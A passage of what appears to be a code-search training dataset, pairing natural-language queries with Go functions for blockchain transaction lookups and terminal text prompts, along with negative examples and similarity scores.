{\\n\\t\\treturn GetConfirmedTransactionResponse{}, err\\n\\t}\\n\\treturn res.Result, nil\\n}\",\n \"func (rpc BitcoinRPC) OmniGetTransaction(h string) ([]byte, error) {\\n\\tvar (\\n\\t\\tomniTx []byte\\n\\t\\terr error\\n\\t)\\n\\terr = rpc.client.Call(\\\"omni_gettransaction\\\", h, &omniTx)\\n\\treturn omniTx, err\\n}\",\n \"func (c *Client) GetTransactions(queryParams ...string) (map[string]interface{}, error) {\\n\\tlog.info(\\\"========== GET CLIENT TRANSACTIONS ==========\\\")\\n\\turl := buildURL(path[\\\"transactions\\\"])\\n\\n\\treturn c.do(\\\"GET\\\", url, \\\"\\\", queryParams)\\n}\",\n \"func (data *Data) GetTx(hash chainhash.Hash) (*wire.MsgTx, error) {\\n\\tdb, err := data.openDb()\\n\\tdefer data.closeDb(db)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"data.openDb Error : %+v\\\", err)\\n\\t\\treturn nil, err\\n\\t}\\n\\tvar bs []byte\\n\\terr = db.QueryRow(\\\"SELECT data FROM tx WHERE hash=?\\\", hash.CloneBytes()).Scan(&bs)\\n\\tif err != nil {\\n\\t\\tif err == sql.ErrNoRows {\\n\\t\\t\\treturn nil, nil\\n\\t\\t}\\n\\t\\tlog.Printf(\\\"db.QueryRow Error : %+v\\\", err)\\n\\t\\treturn nil, err\\n\\t}\\n\\ttx, err := data.bsToMsgTx(bs)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"data.bsToMsgTx Error : %+v\\\", err)\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn tx, nil\\n}\",\n \"func (c *Contract) GetAfterTransaction() interface{} {\\n\\treturn c.AfterTransaction\\n}\",\n \"func (transaction *ScheduleSignTransaction) GetTransactionMemo() string {\\n\\treturn transaction.Transaction.GetTransactionMemo()\\n}\",\n \"func (bdm *MySQLDBManager) GetTransactionsObject() (TranactionsInterface, error) {\\n\\tconn, err := bdm.getConnection()\\n\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\ttxs := Tranactions{}\\n\\ttxs.DB = &MySQLDB{conn, bdm.Config.TablesPrefix, bdm.Logger}\\n\\n\\treturn &txs, nil\\n}\",\n \"func (transaction *FileCreateTransaction) GetTransactionID() TransactionID {\\n\\treturn transaction.Transaction.GetTransactionID()\\n}\",\n \"func (r *Repository) Transaction() (middleware.Transaction, error) {\\n\\treturn r.Database.Transaction()\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.79497474","0.7904028","0.78848255","0.7859633","0.7743627","0.7739347","0.77352023","0.7726688","0.76812166","0.76807255","0.7600162","0.7588036","0.75581026","0.7470296","0.74640834","0.7309291","0.7306762","0.72984374","0.72803295","0.72687507","0.72488475","0.7240248","0.7240248","0.7240248","0.7234864","0.71990085","0.7145932","0.7140621","0.7134322","0.7106317","0.7074971","0.7041859","0.6993211","0.6977707","0.69370353","0.6936884","0.6914542","0.68884563","0.6877412","0.68327695","0.6802603","0.67343223","0.6718439","0.6717262","0.6706091","0.6702217","0.66673756","0.66635114","0.66567934","0.6579195","0.6565276","0.6496811","0.6475035","0.6447251","0.6441336","0.6431137","0.6429983","0.6416676","0.63970315","0.63845414","0.6376796","0.6330918","0.63142705","0.6281767","0.6279759","0.62503237","0.6246058","0.62436247","0.62124574","0.6202347","0.61928964","0.61836076","0.6153697","0.61470735","0.61421645","0.6135504","0.6132587","0.6126131","0.6120693","0.6117619","0.60936385","0.60821736","0.60801446","0.607448","0.6068845","0.60617924","0.60493654","0.60349","0.60228574","0.60224354","0.6020634","0.5989974","0.5981988","0.59805906","0.597872","0.5966224","0.595788","0.5954443","0.5947659","0.5946741"],"string":"[\n \"0.79497474\",\n \"0.7904028\",\n \"0.78848255\",\n \"0.7859633\",\n \"0.7743627\",\n \"0.7739347\",\n \"0.77352023\",\n \"0.7726688\",\n \"0.76812166\",\n \"0.76807255\",\n \"0.7600162\",\n \"0.7588036\",\n \"0.75581026\",\n \"0.7470296\",\n \"0.74640834\",\n \"0.7309291\",\n \"0.7306762\",\n \"0.72984374\",\n \"0.72803295\",\n \"0.72687507\",\n \"0.72488475\",\n \"0.7240248\",\n \"0.7240248\",\n \"0.7240248\",\n \"0.7234864\",\n \"0.71990085\",\n \"0.7145932\",\n \"0.7140621\",\n \"0.7134322\",\n \"0.7106317\",\n \"0.7074971\",\n \"0.7041859\",\n \"0.6993211\",\n \"0.6977707\",\n \"0.69370353\",\n \"0.6936884\",\n \"0.6914542\",\n \"0.68884563\",\n \"0.6877412\",\n \"0.68327695\",\n \"0.6802603\",\n \"0.67343223\",\n \"0.6718439\",\n \"0.6717262\",\n \"0.6706091\",\n \"0.6702217\",\n \"0.66673756\",\n \"0.66635114\",\n \"0.66567934\",\n \"0.6579195\",\n \"0.6565276\",\n \"0.6496811\",\n \"0.6475035\",\n \"0.6447251\",\n \"0.6441336\",\n \"0.6431137\",\n \"0.6429983\",\n \"0.6416676\",\n \"0.63970315\",\n \"0.63845414\",\n \"0.6376796\",\n \"0.6330918\",\n \"0.63142705\",\n \"0.6281767\",\n \"0.6279759\",\n \"0.62503237\",\n \"0.6246058\",\n \"0.62436247\",\n \"0.62124574\",\n \"0.6202347\",\n \"0.61928964\",\n \"0.61836076\",\n \"0.6153697\",\n \"0.61470735\",\n \"0.61421645\",\n \"0.6135504\",\n \"0.6132587\",\n \"0.6126131\",\n \"0.6120693\",\n \"0.6117619\",\n \"0.60936385\",\n \"0.60821736\",\n \"0.60801446\",\n \"0.607448\",\n \"0.6068845\",\n \"0.60617924\",\n \"0.60493654\",\n \"0.60349\",\n \"0.60228574\",\n \"0.60224354\",\n \"0.6020634\",\n \"0.5989974\",\n \"0.5981988\",\n \"0.59805906\",\n \"0.597872\",\n \"0.5966224\",\n \"0.595788\",\n \"0.5954443\",\n \"0.5947659\",\n \"0.5946741\"\n]"},"document_score":{"kind":"string","value":"0.7421291"},"document_rank":{"kind":"string","value":"15"}}},{"rowIdx":106154,"cells":{"query":{"kind":"string","value":"Text show a prompt and parse to string."},"document":{"kind":"string","value":"func (inputText) Text(name string, required bool) (string, error) {\n\tvar prompt promptui.Prompt\n\n\tif required {\n\t\tprompt = promptui.Prompt{\n\t\t\tLabel: name,\n\t\t\tPointer: promptui.PipeCursor,\n\t\t\tValidate: validateEmptyInput,\n\t\t\tTemplates: defaultTemplate(),\n\t\t}\n\t} else {\n\t\tprompt = promptui.Prompt{\n\t\t\tLabel: name,\n\t\t\tPointer: promptui.PipeCursor,\n\t\t\tTemplates: defaultTemplate(),\n\t\t}\n\t}\n\n\treturn prompt.Run()\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func prompt(promptText string) string {\n\tfmt.Fprint(cmdmain.Stdout, promptText)\n\tsc := bufio.NewScanner(cmdmain.Stdin)\n\tsc.Scan()\n\treturn strings.TrimSpace(sc.Text())\n}","func promptString(question string, details string) (answer string) {\n\tfmt.Print(colors.Blue(question) + \" (\" + details + \"): \")\n\tfmt.Scanln(&answer)\n\treturn\n}","func (s Prompt) String() string {\n\treturn awsutil.Prettify(s)\n}","func prompt(v interface{}) (string, error) {\n\tval, ok := v.(string)\n\tif !ok {\n\t\treturn \"\", fmt.Errorf(\"expected string, got %T\", v)\n\t}\n\treturn fmt.Sprintf(\"%q\", val), nil\n}","func GetString(promptMessage string) string {\n\treader := bufio.NewReader(os.Stdin)\n\tfmt.Print(aurora.Bold(aurora.Cyan(promptMessage)))\n\tresponse, err := reader.ReadString('\\n')\n\tif err != nil {\n\t\tGeneralErr(err, \"Failed to parse input (ln 25 prompt.go)\")\n\t}\n\treturn strings.TrimRight(response, \"\\r\\n\")\n}","func (t *GenericPrompt) PromptString() string {\n\treturn t.PromptStr\n}","func Prompt(msg string) (string, error) {\n\tif !IsInteractive() {\n\t\treturn \"\", fmt.Errorf(\"not an interactive session\")\n\t}\n\n\tpromptMux.Lock()\n\tdefer promptMux.Unlock()\n\n\tvar v string\n\tfmt.Fprintf(os.Stderr, \"%s: \", msg)\n\t_, err := fmt.Scanln(&v)\n\treturn v, err\n}","func (f *Fs) Prompt(key, question string) string {\n\treader := bufio.NewReader(os.Stdin)\n\tfmt.Print(\"string | \" + question)\n\ttext, _ := reader.ReadString('\\n')\n\ttext = strings.TrimSpace(text)\n\ttext = strings.TrimRight(text, \"`\")\n\ttext = strings.TrimLeft(text, \"`\")\n\tif strings.Contains(text, \"?\") {\n\t\tnewtext := strings.Split(text, \"?\")\n\t\ttext = newtext[0]\n\t}\n\tf.Set(key, text)\n\treturn text\n}","func (cli *CliPrompter) String(pr string, defaultValue string) string {\n\tval := \"\"\n\tprompt := &survey.Input{\n\t\tMessage: pr,\n\t\tDefault: defaultValue,\n\t}\n\t_ = survey.AskOne(prompt, &val)\n\treturn val\n}","func (term *Terminal) simplePrompt(prefix string) (string, error) {\n\tif term.simpleReader == nil {\n\t\tterm.simpleReader = bufio.NewReader(term.In)\n\t}\n\n\t_, err := term.Out.Write([]byte(prefix))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tline, err := term.simpleReader.ReadString('\\n')\n\tline = strings.TrimRight(line, \"\\r\\n \")\n\tline = strings.TrimLeft(line, \" \")\n\n\treturn line, err\n}","func (s CreatePromptInput) String() string {\n\treturn awsutil.Prettify(s)\n}","func Prompt(stream io.Reader, message string, defaultIdx int, options ...string) (string, error) {\n\tif len(options) < 1 {\n\t\treturn \"\", errors.New(\"no options specified\")\n\t}\n\n\tvalidOptions := map[string]bool{}\n\n\tvar buf bytes.Buffer\n\tbuf.WriteString(message)\n\n\tbuf.WriteString(\" (\")\n\tfor i, o := range options {\n\t\tvalidOptions[strings.ToLower(o)] = true\n\n\t\tif i == defaultIdx {\n\t\t\tbuf.WriteString(strings.Title(o))\n\t\t} else {\n\t\t\tbuf.WriteString(o)\n\t\t}\n\n\t\tif i < len(options)-1 {\n\t\t\tbuf.WriteString(\"/\")\n\t\t}\n\t}\n\tbuf.WriteString(\") \")\n\n\treader := bufio.NewReader(stream)\n\tfor {\n\t\tfmt.Print(buf.String())\n\t\tselected, _ := reader.ReadString('\\n')\n\t\tselected = strings.TrimSpace(selected)\n\n\t\tif selected == \"\" {\n\t\t\treturn options[defaultIdx], nil\n\t\t}\n\n\t\tif valid, _ := validOptions[strings.ToLower(selected)]; valid {\n\t\t\treturn selected, nil\n\t\t}\n\t}\n}","func Prompt(prompt string) (s string, err error) {\n\tfmt.Printf(\"%s\", prompt)\n\tstdin := bufio.NewReader(os.Stdin)\n\tl, _, err := stdin.ReadLine()\n\treturn string(l), err\n}","func promptString(label string, validation func(i string) error) (input string, err error) {\n\tprompt := survey.Input{\n\t\tMessage: label,\n\t}\n\tvar res string\n\tif err := survey.AskOne(&prompt, &res); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn res, nil\n}","func (s CreatePromptOutput) String() string {\n\treturn awsutil.Prettify(s)\n}","func Prompt(a interfaces.AssumeCredentialProcess, emoji string, prefix string, message string) {\n\ts := a.GetDestination()\n\tformatted := format(a, textColorPrompt, emoji, prefix, message)\n\tfmt.Fprint(s, formatted)\n}","func Ask(label, startString string) (string, error) {\n\tp := Prompt{\n\t\tBasicPrompt: BasicPrompt{\n\t\t\tLabel: label,\n\t\t\tDefault: startString,\n\t\t},\n\t}\n\treturn p.Run()\n}","func (p Property) PromptString(str string) string {\n\treturn fmt.Sprintf(\"%s%s%s\", p.PromptEscape(), str, Reset.PromptEscape())\n}","func (s PromptSpecification) String() string {\n\treturn awsutil.Prettify(s)\n}","func Prompt(msg string, isPassword bool) (string, error) {\n\tvalidate := func(input string) error {\n\t\tif input == \"\" {\n\t\t\treturn errors.New(\"Value can't be empty\")\n\t\t}\n\t\treturn nil\n\t}\n\n\tvar prompt promptui.Prompt\n\tif isPassword == true {\n\t\tprompt = promptui.Prompt{\n\t\t\tLabel: msg,\n\t\t\tValidate: validate,\n\t\t\tMask: '*',\n\t\t}\n\t} else {\n\t\tprompt = promptui.Prompt{\n\t\t\tLabel: msg,\n\t\t\tValidate: validate,\n\t\t}\n\t}\n\n\tresult, err := prompt.Run()\n\tHandleError(err)\n\n\treturn result, nil\n}","func (p *Prompt) Ask(text string, opts *InputOptions) (string, error) {\n\tformat := p.fmtInputOptions(opts)\n\n\tresp, err := p.read(text, format)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tinput := strings.TrimSpace(resp)\n\n\t// show me what you're working with\n\tswitch input {\n\tcase \"\":\n\t\t// check the opts\n\t\tswitch opts {\n\t\tcase nil:\n\t\t\t// no options and no input means we return an error\n\t\t\treturn \"\", errors.New(\"no input or default value provided\")\n\t\tdefault:\n\t\t\t// check if there is a default to return\n\t\t\tif opts.Default != \"\" {\n\t\t\t\treturn opts.Default, nil\n\t\t\t}\n\n\t\t\tif opts.Validator != nil {\n\t\t\t\t// validate in provided input - even if empty\n\t\t\t\tif err := opts.Validator(input); err != nil {\n\t\t\t\t\treturn \"\", err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\tdefault:\n\t\tswitch opts {\n\t\tcase nil:\n\t\t\t// there are no options, so just return the input\n\t\t\treturn input, nil\n\t\tdefault:\n\t\t\tif opts.Validator != nil {\n\t\t\t\t// validate in provided input\n\t\t\t\tif err := opts.Validator(input); err != nil {\n\t\t\t\t\treturn \"\", err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn input, nil\n}","func (s DescribePromptInput) String() string {\n\treturn awsutil.Prettify(s)\n}","func (s Style) PromptString(str string) string {\n\treturn fmt.Sprintf(\"%s%s%s\", s.PromptEscape(), str, Reset.PromptEscape())\n}","func Promptf(a interfaces.AssumeCredentialProcess, emoji string, prefix string, message string, args ...interface{}) {\n\ts := a.GetDestination()\n\tformatted := format(a, textColorPrompt, emoji, prefix, message)\n\tfmt.Fprintf(s, formatted, args...)\n}","func (c *Client) Ask(prompt string) string {\n\tfmt.Printf(\"%s \", prompt)\n\trd := bufio.NewReader(os.Stdin)\n\tline, err := rd.ReadString('\\n')\n\tif err == nil {\n\t\treturn strings.TrimSpace(line)\n\t}\n\treturn \"\"\n}","func (s DescribePromptOutput) String() string {\n\treturn awsutil.Prettify(s)\n}","func AskString(question string) string {\n\tfmt.Fprintf(Writer, \"%s:\\n\\t\", question)\n\ts, _ := readline()\n\treturn s\n}","func (s PromptSummary) String() string {\n\treturn awsutil.Prettify(s)\n}","func Input(prompt string) string {\n\ttext, err := InputWithError(prompt)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn text\n}","func (p Package) StringToPrompt() string {\n\treturn fmt.Sprintf(\"Repo:\\t%s/%s\\nTag:\\t%s\\nAsset:\\t%s\\nBinary:\\t%s\", p.Repository.Owner, p.Repository.Name, p.Release.Tag, p.Asset.DownloadURL.FileName().String(), p.ExecBinary.Name)\n}","func getTextInput(prompt string) (string, error) {\n\t// printing the prompt with tabWriter to ensure adequate formatting of tabulated list of options\n\ttabWriter := help.StdoutWriter\n\tfmt.Fprint(tabWriter, prompt)\n\ttabWriter.Flush()\n\n\treader := bufio.NewReader(os.Stdin)\n\ttext, err := reader.ReadString('\\n')\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\ttext = strings.TrimSuffix(text, \"\\n\")\n\ttext = strings.TrimSuffix(text, \"\\r\")\n\n\treturn text, nil\n}","func Prompt(prompt string, refresh func(int, int)) string {\n\treturn PromptWithCallback(prompt, refresh, nil)\n}","func (s *promptString) promptString() error {\n\tprompt := promptui.Prompt{\n\t\tLabel: s.label,\n\t\tDefault: s.defaultValue,\n\t}\n\n\tswitch s.validation {\n\tcase \"email\":\n\t\tprompt.Validate = validateEmailInput\n\tcase \"no-spaces-and-no-uppercase\":\n\t\tprompt.Validate = validateWhiteSpacesAndUpperCase\n\tcase \"url\":\n\t\tprompt.Validate = validateURL\n\tdefault:\n\t\tprompt.Validate = validateEmptyInput\n\t}\n\n\tresult, err := prompt.Run()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts.value = result\n\treturn nil\n}","func (q *Query) Prompt() {\n\tfmt.Printf(\"\\n%s [%s]: \", q.Question, q.DefaultValue)\n\tvar response string\n\tfmt.Scanln(&response)\n\tq.Answer = response\n\n}","func InputPrompt(label string, required bool) string {\n\tinput := bufio.NewScanner(os.Stdin)\n\n\tfmt.Printf(\"%s : \\n\", label)\n\tfor input.Scan() {\n\n\t\tinputValue := input.Text()\n\t\tif !required || len(inputValue) > 0 {\n\t\t\treturn inputValue\n\t\t}\n\n\t\tfmt.Printf(\"%s : \\n\", label)\n\t}\n\n\treturn \"\"\n}","func PromptMessage(message, value string) string {\n\tfor value == \"\" {\n\t\treader := bufio.NewReader(os.Stdin)\n\t\tfmt.Print(message + \": \")\n\t\tvalueRaw, err := reader.ReadString('\\n')\n\t\terrors.CheckError(err)\n\t\tvalue = strings.TrimSpace(valueRaw)\n\t}\n\treturn value\n}","func (s UpdatePromptInput) String() string {\n\treturn awsutil.Prettify(s)\n}","func ReadString(prompt string) string {\n\treader := bufio.NewReader(os.Stdin)\n\tfmt.Print(prompt)\n\ttext, _ := reader.ReadString('\\n')\n\tcleanText := strings.TrimSpace(text)\n\tif cleanText == \"exit\" {\n\t\tlog.Fatal(\"exitting program...\")\n\t}\n\n\treturn cleanText\n}","func (console *Console) Prompt() (string, error) {\n\tfmt.Print(\">\")\n\n\trawInput, hasMore, err := console.reader.ReadLine()\n\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"issue reading from STDIN\")\n\t}\n\n\tinput := string(rawInput)\n\n\tif hasMore {\n\t\trawInput, hasMore, err = console.reader.ReadLine()\n\n\t\tif err != nil {\n\t\t\treturn \"\", errors.Wrap(err, \"issue reading additional characters in buffer\")\n\t\t}\n\n\t\tinput += string(rawInput)\n\t}\n\n\treturn input, nil\n}","func (f *Factor) Prompt() string { return f.driver().prompt(f) }","func (c *Confirm) Prompt(rl *readline.Instance) (interface{}, error) {\n\t// render the question template\n\tout, err := core.RunTemplate(\n\t\tConfirmQuestionTemplate,\n\t\tConfirmTemplateData{Confirm: *c},\n\t)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// use the result of the template as the prompt for the readline instance\n\trl.SetPrompt(fmt.Sprintf(out))\n\n\t// start waiting for input\n\tanswer, err := c.getBool(rl)\n\t// if something went wrong\n\tif err != nil {\n\t\t// bubble up\n\t\treturn \"\", err\n\t}\n\n\t// convert the boolean into the appropriate string\n\treturn answer, nil\n}","func (m *PromptManager) CustomText(p string, l string, opts ...RequestOption) (t map[string]interface{}, err error) {\n\terr = m.Request(\"GET\", m.URI(\"prompts\", p, \"custom-text\", l), &t, opts...)\n\treturn\n}","func PromptForSecret(msg string) (string, error) {\n\tfmt.Print(msg)\n\n\tvar resp string\n\tif _, err := ScanlnNoEcho(&resp); err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Print new line after prompt since new line wasn't echoed\n\tfmt.Println()\n\n\treturn resp, nil\n}","func (s UpdatePromptOutput) String() string {\n\treturn awsutil.Prettify(s)\n}","func Prompt() string {\n\tfillMessage(&msg)\n\tgitMsg := msg.String()\n\tInfo(\"\\nCommit message is:\\n%s\\n\", gitMsg)\n\tvar err error\n\tcp := bb.ConfirmPrompt{\n\t\tBasicPrompt: bb.BasicPrompt{\n\t\t\tLabel: \"Is everything OK? Continue\",\n\t\t\tDefault: \"N\",\n\t\t\tNoIcons: true,\n\t\t},\n\t\tConfirmOpt: \"e\",\n\t}\n\tc, err := cp.Run()\n\tcheckConfirmStatus(c, err)\n\tif c == \"E\" {\n\t\tgitMsg, err = bb.Editor(\"\", gitMsg)\n\t\tcheckInterrupt(err)\n\t\tnumlines := len(strings.Split(gitMsg, \"\\n\")) + 2\n\t\tfor ; numlines > 0; numlines-- {\n\t\t\tfmt.Print(bb.ClearUpLine())\n\t\t}\n\t\tInfo(\"Commit message is:\\n%s\", gitMsg)\n\t\tcheckConfirmStatus(bb.Confirm(\"Is everything OK? Continue\", \"N\", true))\n\t\treturn gitMsg\n\t}\n\treturn gitMsg\n}","func (t Terminal) Read(prompt string) (string, error) {\n\tif prompt != \"\" {\n\t\tfmt.Fprintf(t.Output, \"%s \", prompt)\n\t}\n\n\treader := bufio.NewReader(t.Input)\n\n\ttext, readErr := reader.ReadString('\\n')\n\tif readErr != nil {\n\t\treturn \"\", readErr\n\t}\n\n\ttext = strings.TrimSpace(text)\n\n\treturn text, nil\n}","func PromptUsername(username string) string {\n\treturn PromptMessage(\"Username\", username)\n}","func (m *display) Text(data string) (int) {\n\tn := m.Send([]byte(data))\n\treturn n\n}","func (s GetPromptFileInput) String() string {\n\treturn awsutil.Prettify(s)\n}","func ConsolePromptAndAnswer(prompt string, replyLowercase bool, autoTrim ...bool) string {\n\tfmt.Print(prompt)\n\n\tanswer := \"\"\n\n\tif _, e := fmt.Scanln(&answer); e != nil {\n\t\tanswer = \"\"\n\t\tfmt.Println()\n\t} else {\n\t\tanswer = RightTrimLF(answer)\n\n\t\tif replyLowercase {\n\t\t\tanswer = strings.ToLower(answer)\n\t\t}\n\n\t\tif len(autoTrim) > 0 {\n\t\t\tif autoTrim[0] {\n\t\t\t\tanswer = Trim(answer)\n\t\t\t}\n\t\t}\n\n\t\tfmt.Println()\n\t}\n\n\treturn answer\n}","func (t *GenericPrompt) Parse(value string) error {\n\treturn t.ParseValue(value)\n}","func Text(s string) string {\n\treturn au.Magenta(s).String()\n}","func PromptTextInput(introwords string, isValid validCheck, uiEvents <-chan ui.Event, menus chan<- string) (string, error) {\n\tmenus <- introwords\n\tdefer ui.Clear()\n\tinput, _, err := processInput(introwords, 0, 80, 1, isValid, uiEvents)\n\treturn input, err\n}","func (dbg *Debug) GetPrompt(name string) string {\n\thi := dbg.GetCurrentHart()\n\tstate := []rune{'h', 'r'}[util.BoolToInt(hi.State == rv.Running)]\n\treturn fmt.Sprintf(\"%s.%d%c> \", name, hi.ID, state)\n}","func (term *Terminal) prompt(buf *Buffer, in io.Reader) (string, error) {\n\tinput, err := term.setup(buf, in)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tterm.History = append(term.History, \"\")\n\tterm.histIdx = len(term.History) - 1\n\tcurHistIdx := term.histIdx\n\n\tfor {\n\t\ttyp, char, err := term.read(input)\n\t\tif err != nil {\n\t\t\treturn buf.String(), err\n\t\t}\n\n\t\tswitch typ {\n\t\tcase evChar:\n\t\t\terr = buf.Insert(char)\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\n\t\t\tterm.History[curHistIdx] = buf.String()\n\t\tcase evSkip:\n\t\t\tcontinue\n\t\tcase evReturn:\n\t\t\terr = buf.EndLine()\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\n\t\t\tline := buf.String()\n\t\t\tif line == \"\" {\n\t\t\t\tterm.histIdx = curHistIdx - 1\n\t\t\t\tterm.History = term.History[:curHistIdx]\n\t\t\t} else {\n\t\t\t\tterm.History[curHistIdx] = line\n\t\t\t}\n\n\t\t\treturn line, nil\n\t\tcase evEOF:\n\t\t\terr = buf.EndLine()\n\t\t\tif err == nil {\n\t\t\t\terr = ErrEOF\n\t\t\t}\n\n\t\t\treturn buf.String(), err\n\t\tcase evCtrlC:\n\t\t\terr = buf.EndLine()\n\t\t\tif err == nil {\n\t\t\t\terr = ErrCTRLC\n\t\t\t}\n\n\t\t\treturn buf.String(), err\n\t\tcase evBack:\n\t\t\terr = buf.DelLeft()\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\n\t\t\tterm.History[curHistIdx] = buf.String()\n\t\tcase evClear:\n\t\t\terr = buf.ClsScreen()\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\t\tcase evHome:\n\t\t\terr = buf.Start()\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\t\tcase evEnd:\n\t\t\terr = buf.End()\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\t\tcase evUp:\n\t\t\tidx := term.histIdx\n\t\t\tif term.histIdx > 0 {\n\t\t\t\tidx--\n\t\t\t}\n\n\t\t\terr = buf.Set([]rune(term.History[idx])...)\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\n\t\t\tterm.histIdx = idx\n\t\tcase evDown:\n\t\t\tidx := term.histIdx\n\t\t\tif term.histIdx < len(term.History)-1 {\n\t\t\t\tidx++\n\t\t\t}\n\n\t\t\terr = buf.Set([]rune(term.History[idx])...)\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\n\t\t\tterm.histIdx = idx\n\t\tcase evRight:\n\t\t\terr = buf.Right()\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\t\tcase evLeft:\n\t\t\terr = buf.Left()\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\t\tcase evDel:\n\t\t\terr = buf.Del()\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\n\t\t\tterm.History[curHistIdx] = buf.String()\n\t\t}\n\t}\n}","func PrintPrompt() {\n\n\tvar prompt String\n\n\tme := syscall.GetUser()\n\tpath = \"/user/\" + me\n\tprompt = String(\"[\" + String(me) + \" @ \" + currDirectory + \"]: \")\n\n\taltEthos.WriteStream(syscall.Stdout, &prompt)\n\n}","func PrintPrompt(g *gocui.Gui) {\n\tpromptString := \"[w,a,s,d,e,?] >>\"\n\n\tg.Update(func(g *gocui.Gui) error {\n\t\tv, err := g.View(Prompt)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tv.Clear()\n\t\tv.MoveCursor(0, 0, true)\n\n\t\tif consecutiveError == 0 {\n\t\t\tfmt.Fprintf(v, color.Green(color.Regular, promptString))\n\t\t} else {\n\t\t\tfmt.Fprintf(v, color.Red(color.Regular, promptString))\n\t\t}\n\t\treturn nil\n\t})\n}","func ReadString(prompt string) string {\n\tfmt.Printf(\"%s: \", prompt)\n\tr := bufio.NewReader(os.Stdin)\n\tstr, _ := r.ReadString('\\n')\n\treturn strings.TrimSpace(str)\n}","func (v Repository) Prompt() string {\n\tif v.Path == \".\" {\n\t\treturn \"\"\n\t}\n\treturn v.Path + \"> \"\n}","func (e *Input) Text() string {\n\treturn e.text.String()\n}","func GetBasicArithmeticPromptString(function string) (string, string) {\n\tswitch function {\n\tcase \"permutation\", \"p\", \"combination\", \"c\":\n\t\treturn \"n\", \"r\"\n\tdefault:\n\t\treturn \"x\", \"y\"\n\t}\n}","func Promptln(a interfaces.AssumeCredentialProcess, emoji string, prefix string, message string) {\n\ts := a.GetDestination()\n\tformatted := format(a, textColorPrompt, emoji, prefix, message)\n\tfmt.Fprintln(s, formatted)\n}","func terminalPrompt(prompt string) (string, error) {\n\tfmt.Printf(\"%s: \", prompt)\n\tb, err := terminal.ReadPassword(1)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tfmt.Println()\n\treturn string(b), nil\n}","func (s GetPromptFileOutput) String() string {\n\treturn awsutil.Prettify(s)\n}","func (s DeletePromptInput) String() string {\n\treturn awsutil.Prettify(s)\n}","func (s PromptAttemptSpecification) String() string {\n\treturn awsutil.Prettify(s)\n}","func (module *Crawler) Prompt(what string) {\n}","func Ask(question string) string {\n\tfmt.Fprintln(Out, question)\n\n\treturn prompt()\n}","func ReadString(prompt string) ([]byte, error) {\n\treader := bufio.NewReader(os.Stdin)\n\tfmt.Fprintf(os.Stderr, \"%v \", prompt)\n\tline, _ := reader.ReadString('\\n')\n\tline = strings.TrimRight(line, \" \\n\\r\")\n\treturn []byte(line), nil\n}","func (p *Player) prompt() {\n\t// TODO: standard/custom prompts\n\tp.writer.Write([]byte(\">\"))\n}","func (i *Input) Text() string {\n\tif len(i.lines) == 0 {\n\t\treturn \"\"\n\t}\n\n\tif len(i.lines) == 1 {\n\t\treturn i.lines[0]\n\t}\n\n\tif i.IsMultiLine {\n\t\treturn strings.Join(i.lines, NEW_LINE)\n\t} else {\n\t\t// we should never get here!\n\t\treturn i.lines[0]\n\t}\n}","func (t *Term) Prompt(prompt string) {\n\tt._prompt = prompt\n}","func PromptUserForInput(prompt string, terragruntOptions *options.TerragruntOptions) (string, error) {\n\t// We are writing directly to ErrWriter so the prompt is always visible\n\t// no matter what logLevel is configured. If `--non-interactive` is set, we log both prompt and\n\t// a message about assuming `yes` to Debug, so\n\tif terragruntOptions.NonInteractive {\n\t\tterragruntOptions.Logger.Debugf(prompt)\n\t\tterragruntOptions.Logger.Debugf(\"The non-interactive flag is set to true, so assuming 'yes' for all prompts\")\n\t\treturn \"yes\", nil\n\t}\n\tn, err := terragruntOptions.ErrWriter.Write([]byte(prompt))\n\tif err != nil {\n\t\tterragruntOptions.Logger.Error(err)\n\t\treturn \"\", errors.WithStackTrace(err)\n\t}\n\tif n != len(prompt) {\n\t\tterragruntOptions.Logger.Errorln(\"Failed to write data\")\n\t\treturn \"\", errors.WithStackTrace(err)\n\t}\n\n\treader := bufio.NewReader(os.Stdin)\n\n\ttext, err := reader.ReadString('\\n')\n\tif err != nil {\n\t\treturn \"\", errors.WithStackTrace(err)\n\t}\n\n\treturn strings.TrimSpace(text), nil\n}","func Prompt(s string) rune {\n\tacceptedRunes := \"\"\n\n\t// show parentheticals in bold\n\tline := make([]segment, 0)\n\tpos := 0\n\tfor pos < len(s) {\n\t\topen := strings.IndexRune(s[pos:], '(')\n\t\tif open == -1 